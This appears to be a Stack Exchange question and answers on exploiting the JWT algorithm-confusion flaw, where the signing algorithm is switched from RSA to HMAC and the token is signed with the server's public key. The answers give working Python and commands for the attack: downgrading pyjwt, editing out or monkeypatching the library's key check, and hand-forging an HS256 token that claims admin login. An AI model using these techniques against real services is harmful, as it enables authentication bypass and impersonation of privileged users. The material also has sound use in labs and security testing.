I'm currently exploiting the vulnerability discussed here


Where the algorithm type in JWT can be changed from RSA to HMAC and signing the token with a given public key.

However, I wrote the below python code:

import jwt
import base64

# consider 'publickey' as the servers public key
code = 

This Throws an error :

InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

Im looking for an alternative where I can successfully sign it using the asymmetric key.


  • 1
    Have you tried editing the code?
    – Sjoerd
    Jun 7, 2018 at 13:54
  • Editing in the sense?..
    – Gowtham
    Jun 7, 2018 at 13:58
  • The library was fixed to prevent this. That's what happens when vulnerabilities are reported... Jun 7, 2018 at 14:01
  • Actually I'm trying to exploit it on an predetermined environment. Where the server side code is vulnerable. So I wanted to exploit it. Is there any other options to do the same as the above code?..
    – Gowtham
    Jun 7, 2018 at 14:04

4 Answers 4


Use an old version of pyjwt (0.4.3) where this exception wasn't implemented yet.

pip install pyjwt==0.4.3

When running your program, it reports the line that throws the exception:

  File "/some-path/site-packages/jwt/algorithms.py", line 151, in prepare_key
    'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

So edit the file /some-path/site-packages/jwt/algorithms.py around line 151, so that it no longer throws the exception.

For example, put this in there:

invalid_strings = []

I ended up going a little more custom route to exploit this vulnerability. The following code can work as a general template to generate the necessary token without using jwt library.

from codecs import encode, decode
import requests
import hashlib
import hmac

# read the assymetric key
with open('public.pem', 'rb') as f:
    key = f.read()

# create an appropriate JSON object for header
header = b'{"typ":"JWT","alg":"HS256"}'
header = encode(header, 'base64').strip()

# create an appropriate JSON object for payload
payload = b'{"login":"admin"}'
payload = encode(payload, 'base64').strip()

# sign the payload
sig = hmac.new(key, header + b'.' + payload, hashlib.sha256).digest().strip()
sig = encode(sig, 'base64').strip()

# print the json token
jwt = '{}.{}.{}'.format(header.decode(), payload.decode(), sig.decode())

Here's my hackish solution to get it working with later versions (i.e., pyjwt==2.2.0) without having to fork pyjwt and editing the base code.

# prepare an override method
def prepare_key(key):
    return jwt.utils.force_bytes(key)

# override HS256's prepare key method to disable checking for asymmetric key words
jwt.api_jws._jws_global_obj._algorithms['HS256'].prepare_key = prepare_key

# will not throw InvalidKeyError now
public_key = open('pubkey.pem', 'r').read()
token = jwt.encode(payload, key=public_key, algorithm='HS256')

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .